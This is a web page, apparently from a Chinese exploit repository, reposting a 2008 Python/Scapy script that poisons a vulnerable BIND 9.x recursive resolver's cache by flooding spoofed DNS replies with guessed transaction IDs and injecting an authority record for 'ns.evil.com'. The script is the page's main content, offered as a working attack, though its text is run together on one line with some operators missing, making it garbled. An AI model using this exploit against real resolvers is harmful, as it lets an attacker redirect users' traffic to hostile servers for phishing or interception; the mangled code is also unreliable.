BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)

2022-12-07 0 959

from scapy import *import random# Copyright (C) 2008 Julien Desfossez <ju@klipix.org># uploa/ This program is free software; you can redistribute it and/or modify# it under the terms of the GNU General Public License as published by# the Free Software Foundation; either version 2 of the License, or# (at your option) any later version.## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.## You should have received a copy of the GNU General Public License# along with this program; if not, write to the Free Software# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA# This script exploit the flaw discovered by Dan Kaminsky# uploa/cvename.cgi uploa/800113 It tries to insert a dummy record in the vulnerable DNS server by guessing# the transaction ID.# It also insert Authority record for a valid record of the target domain.# To use this script, you have to discover the source port used by the vulnerable# DNS server.# Python is really slow, so it will take some time, but it works :-)# IP to insert for our dummy recordtargetip = "X.X.X.X"# Vulnerable recursive DNS servertargetdns = "X.X.X.X"# Authoritative NS for the target domainsrcdns = ["X.X.X.X"]# Domain to play withdummydomain = ""basedomain = ".example.com."# sub-domain to claim authority ondomain = "sub.example.com."# Spoofed authoritative DNS for the sub-domainspoof="ns.evil.com."# src port of vulnerable DNS for recursive queriesdnsport = 32883# base packetrep = IP(dst=targetdns, src=srcdns[0])/ \\UDP(sport=53, dport=dnsport)/ \\DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4),ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof) 1, type=2))currentid = 1024dummyid = 3while 1:dummydomain = "a" str(dummyid) basedomaindummyid = dummyid 1# request for our dummydomainreq = IP(dst=targetdns)/ \\ UDP(sport=random.randint(1025, 65000), dport=53)/ \\ DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=0, ns=0, ar=0)send(req)# build the responserep.getlayer(DNS).qd.qname = dummydomainrep.getlayer(DNS).an.rrname = dummydomainfor i in range(50):# TXIDrep.getlayer(DNS).id = currentidcurrentid = currentid 1if currentid == 65536:currentid = 1024# len and chksumrep.getlayer(UDP).len = IP(str(rep)).len-20rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload))print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain)send(rep, verbose=0)# check to see if it workedreq = IP(dst=targetdns)/ \\ UDP(sport=random.randint(1025, 65000), dport=53)/ \\ DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0, qd=DNSQR(qname=dummydomain, qtype=1, qclass=1), an=0, ns=0, ar=0)z = sr1(req, timeout=2, retry=0, verbose=0)try:if z[DNS].an.rdata == targetip:print "Successfully poisonned our target with a dummy record !!"breakexcept:print "Poisonning failed"

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 Exploit BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py) https://www.u-9.cn/security/exploit/3214.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务

  • 0 +

    访问总数

  • 0 +

    会员总数

  • 0 +

    文章总数

  • 0 +

    今日发布

  • 0 +

    本周发布

  • 0 +

    运行天数

注册会员,众多资源免费下载